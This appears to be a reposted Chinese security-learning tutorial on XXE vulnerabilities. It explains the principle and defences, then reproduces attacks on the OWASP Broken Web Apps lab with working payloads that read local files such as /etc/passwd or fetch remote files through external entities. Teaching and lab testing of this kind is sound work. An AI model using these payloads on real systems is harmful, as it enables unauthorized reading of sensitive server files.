细节揭示:XXE漏洞复现步骤及安全防护建议

news2024/9/25 23:23:45

环境准备

这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 

攻击相关介绍

介绍:

        XXE漏洞发生在那些使用XML解析器处理用户提供的XML输入的应用程序中。攻击者通过在用户输入的XML文档中插入恶意的实体引用,来触发XML解析器加载外部实体。这些外部实体可能指向本地文件系统或通过网络访问的远程资源。

原理:

        XML解析器通常支持实体引用,用于引用和重用已定义的实体。XXE漏洞的原理是通过在用户的XML输入中插入恶意的实体引用,攻击者可以读取敏感文件内容、执行系统命令、发起远程请求等。当解析器对恶意实体引用进行解析时,攻击者可以通过解析器的响应来获取所需的信息。

使用方法: 

  • 在XML输入中插入外部实体引用:通过在用户的XML输入中插入恶意的实体引用,攻击者可以读取本地文件的内容或执行系统命令。
  • 利用远程实体:攻击者可以将实体引用指向远程服务器上的XML实体,从而获取远程资源的敏感信息。

使用前提:

  • 攻击者能够向目标应用程序提交构造的恶意XML输入,并且应用程序会使用XML解析器对该输入进行处理。

防御方法:

  • 输入验证和过滤:对用户提交的XML输入进行严格的输入验证,过滤并移除潜在的恶意内容。
  • 禁用实体解析:在XML解析器中禁用外部实体解析,以防止恶意实体的加载。
  • 使用安全的XML处理库:选择使用经过安全审计的XML处理库,这些库已经修复了XXE漏洞的问题。
  • 最小化代码中的实体引用:尽可能避免在代码中直接使用实体引用。

简单的XML文档示例

<?xml version="1.0"?>
<!DOCTYPE note[ 
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<note>
  <to>杰瑞</to>
  <from>汤姆</from>
  <head>提醒</head>
  <body>你是个好人</body>
</note>

下面是对该示例源码逐行解析的说明,以帮助新手理解:

  • <?xml version="1.0"?>:这是XML声明部分,它说明了这个XML文档的版本号是1.0。

  • <!DOCTYPE note[ :这是文档类型定义(DTD)的开始标记。它指定了文档的类型为"note",并在方括号中定义了相关内容。

  • <!ENTITY entity-name SYSTEM "URI/URL">:这是一个实体声明。实体可以代表一个值,也可以引用外部资源。在这里,"entity-name"是实体的名称,"SYSTEM"表示引用的方式,"URI/URL"是实体引用的位置,可以是文件的URI或URL地址。

  • ]>:这是文档类型定义(DTD)的结束标记。

  • <note>:这是文档的根元素,它包含了其他的子元素。

  • <to>Dave</to>:这是一个子元素,表示接收者的信息。它的标签是"to",标签内的文本内容是"Dave",表示接收者的名字是"Dave"。

  • <from>Tom</from>:这是另一个子元素,表示发送者的信息。它的标签是"from",标签内的文本内容是"Tom",表示发送者的名字是"Tom"。

  • <head>Reminder</head>:这是第三个子元素,表示便签的标题。它的标签是"head",标签内的文本内容是"Reminder",表示便签的标题是"Reminder"。

  • <body>You are a good man</body>:这是最后一个子元素,表示便签的内容。它的标签是"body",标签内的文本内容是"You are a good man",表示便签的内容是"You are a good man"。

  • </note>:这是根元素的结束标签,用来闭合根元素。

这个示例源码表示了一个简单的便签信息,包括了接收者、发送者、标题和内容等信息。

攻击复现(参考) 

靶场

靶场我使用OWASP_Broken_Web_Apps虚拟机中提供的靶场

攻击payload

1)通过file:///协议读取本地文件:
# 读取本地F盘下的1.txt文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///F:/1.txt">
]>
<foo>&xxe;</foo>

读取直接读取敏感文件

<!DOCTYPE foo [  
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> 
<root>&xxe;</root>

2) 通过HTTP协议读取远程文件
# 读取远程192.168.100.58主机(我自己电脑的ip,本地ip)的1.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "http://192.168.100.58/1.txt">
]>
<foo>&xxe;</foo>

3)列出目录内容:(这个攻击语句我也执行不成功,知道有这个东西就行,一般测试漏洞有前面的也够了)
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % eval "<!ENTITY % directory SYSTEM 'file:///%file;'>">
%eval;
%directory;
]>
<test>&directory;</test>

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/957781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

gin框架

【狂神说】Gin框架一小时上手 | 快速转型GoWeb开发 | Go语言零基础教程_哔哩哔哩_bilibili 1.介绍 2.简单程序 1&#xff09;gin.GET/POST/PUT/DELETE函数 Go Gin 简明教程 | 快速入门 | 极客兔兔 (geektutu.com) 我的理解是&#xff1a;这类函数就像是在监听接口一样&…

深入理解搜索引擎优化(SEO)

深入理解搜索引擎优化 深入理解搜索引擎优化(SEO)1、SEO基础入门SEO概述搜索引擎营销策略SEO查询工具与站长平台收录与权重 2、SEO站内优化关键词域名、主机、程序与SEO设计技巧及优化标签优化技巧(TDK)页面关键词的布局和密度网站内部优化与代码优化301重定向&#xff0c;404优…

文件读取漏洞复现(Metinfo 6.0.0)

安装环境 安装phpstudy&#xff0c;下载MetInfo 6.0.0版本软件&#xff0c;复制到phpstudy目录下的www目录中。 打开phpstudy&#xff0c;访问浏览器127.0.0.1/MetInfo6.0.0/install/index.php&#xff0c;打开Meinfo 6.0.0主页&#xff1a; 点击下一步、下一步&#xff0c…

stencilJs学习之构建 Drawer 组件

前言 在之前的学习中&#xff0c;我们已经掌握了 stencilJs 中的一些核心概念和基础知识&#xff0c;如装饰器 Prop、State、Event、Listen、Method、Component 以及生命周期方法。这些知识是构建复杂组件和应用的基础&#xff0c;而抽屉组件是一个很好的示例&#xff0c;能够…

温室气体数据记录软件

温室气体数据记录软件用于记录温室气体分析仪、冷阱系统、阀箱以及采样单元数据的获取及记录。其软件界面如下&#xff1a; 在软件操作几面上部是工具栏&#xff0c;可以实现软件的各种操作&#xff0c;工具栏的排布如下所示&#xff1a; 最左侧为“连接”工具&#xff0c;用…

Android 蓝牙开发( 四 )

前言 上一篇文章给大家分享了Kotlin版的Android蓝牙的基础知识和基础用法&#xff0c;不过上一篇都是一些零散碎片化的程序&#xff0c;&#xff0c;这一篇给大家分享Android蓝牙开发实战项目KotlinCompose的初步使用 效果演示 : Android Compose 蓝牙开发 Android蓝牙实战开发…

upload-labs靶场通关详解

文章目录 Pass-01Pass-02Pass-03Pass-04Pass-05Pass-06Pass-07Pass-08Pass-09Pass-10Pass-11Pass-12Pass-13Pass-14Pass-15Pass-16Pass-17Pass-18Pass-19Pass-20方法一&#xff08;文件夹名欺骗绕过&#xff09;方法二&#xff08;%00截断攻击&#xff09; Pass-21 Pass-01 绕过…

Vert.x 源码解析(4.x)(一)——Context源码解析

目录 1.简介 Vert.x 中&#xff0c;多线程环境下的资源管理和状态维护是一个复杂的问题。为了解决这个问题&#xff0c;Vert.x 引入了 Context 这个核心概念。Context 负责在多线程环境下协调异步操作&#xff0c;提供线程安全的资源访问&#xff0c;并确保异步操作的正确执行…

Spring MVC工作流程

SpringMVC 的执行流程如下。 用户通过浏览器发起一个 HTTP 请求&#xff0c;该请求会被 DispatcherServlet&#xff08;前端控制器&#xff09;拦截&#xff1b;DispatcherServlet 调用 HandlerMapping&#xff08;处理器映射器&#xff09;找到具体的处理器&#xff08;Handl…

LinuxUbuntu安装OpenWAF

Linux&Ubuntu安装OpenWAF 官方GitHub地址 介绍 OpenWAF&#xff08;Web Application Firewall&#xff09;是一个开源的Web应用防火墙&#xff0c;用于保护Web应用程序免受各种网络攻击。它通过与Web服务器集成&#xff0c;监控和过滤对Web应用程序的流量&#xff0c;识…

基于移动端的校园失物招领系统 微信小程序的设计与实现779m5

于校园失物招领系统功能所牵扯的数据都是通过失主进行校园失物招领系统等相关的数据信息内容、并且可以实现首页、个人中心、失主管理、物品类型管理、失物展示管理、失物认领管理、在线投诉管理、论坛交流、系统管理等功能可以通过系统进行分配&#xff0c;传统的手工作业模式…

WebDAV之π-Disk派盘 + notototo

notototo是一款功能丰富的笔记软件,提供了多种功能,包括载入PDF文件并进行批注和标记的能力。您可以使用Apple Pencil或手指在PDF文件上进行写作和绘图操作。 同时,notototo也提供了与团队合作的功能,您可以连接到服务器并与他人协作。此外,您还可以在notototo中进行绘图,…

Dolphin for Mac(Wii游戏模拟器)配置指南

Wii模拟器Dolphin Mac是款适合Mac电脑中的游戏玩家们使用的模拟器工具。Wii模拟器Dolphin Mac官方版支持直接运行游戏镜像文件&#xff0c;玩家可以将游戏ISO拷贝到某一个文件夹中统一进行管理。Wii模拟器Dolphin Mac除了键盘和鼠标外&#xff0c;还支持配合原版的Wii遥控器操作…

MySQL告警“Connection attributes of length 570 were truncated“

mysql的错误日志中看到如下报错"[Warning] Connection attributes of length 571 were truncated"。比如&#xff1a; 2023-09-01T08:37:49.87392408:00 9149015 [Warning] [MY-010288] [Server] Connection attributes of length 570 were truncated (76 bytes los…

ip route get ip地址 应用案例

应用场景 在做虚拟化实验用的虚拟机和实际的ECS云主机一般都会有多个网卡&#xff0c;网络的联通性是经常碰到的问题。比如在一个VM上有3个网卡&#xff0c;分别为ens160(和寄主机进行桥接的网卡10.0.0.128)、ens224&#xff08;连接仅主机网络10.0.0.0/24的网卡10.0.0.128&…

三维模型OBJ格式轻量化顶点压缩主要技术方法分析

三维模型OBJ格式轻量化顶点压缩主要技术方法分析 三维模型的OBJ格式轻量化中&#xff0c;顶点压缩是一项重要的技术方法&#xff0c;用于减小模型文件的大小。以下是关于三维模型OBJ格式轻量化顶点压缩的主要技术方法的分析&#xff1a; 1、顶点位置量化&#xff1a; 顶点位置…

直播平台源码弹性云托管技术:稳定直播与降低成本的利器

在当今的互联网时代&#xff0c;直播平台源码层出不穷&#xff0c;直播平台源码不仅可以让人们获取最新的资讯、查找资料等信息获取&#xff0c;还能让人们在其中观看短视频、直播、与其他人聊天等互动放松&#xff0c;直播平台源码的受欢迎与平台人数的增加使得人们在选择直播…

Python爬虫(十七)_糗事百科案例

糗事百科实例 爬取糗事百科段子&#xff0c;假设页面的URL是: http://www.qiushibaike.com/8hr/page/1 要求&#xff1a; 使用requests获取页面信息&#xff0c;用XPath/re做数据提取获取每个帖子里的用户头像连接、用户姓名、段子内容、点赞次数和评论次数保存到json文件内…

使用spring自带的发布订阅机制来实现消息发布订阅

背景 公司的项目以前代码里面有存在使用spring自带发布订阅的代码&#xff0c;因此稍微学习一下如何使用&#xff0c;并了解一下这种实现方式的优缺点。 优点 实现方便&#xff0c;代码方面基本只需要定义消息体和消费者&#xff0c;适用于小型应用程序。不依赖外部中间件&a…

JavaScript设计模式(二)——简单工厂模式、抽象工厂模式、建造者模式

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…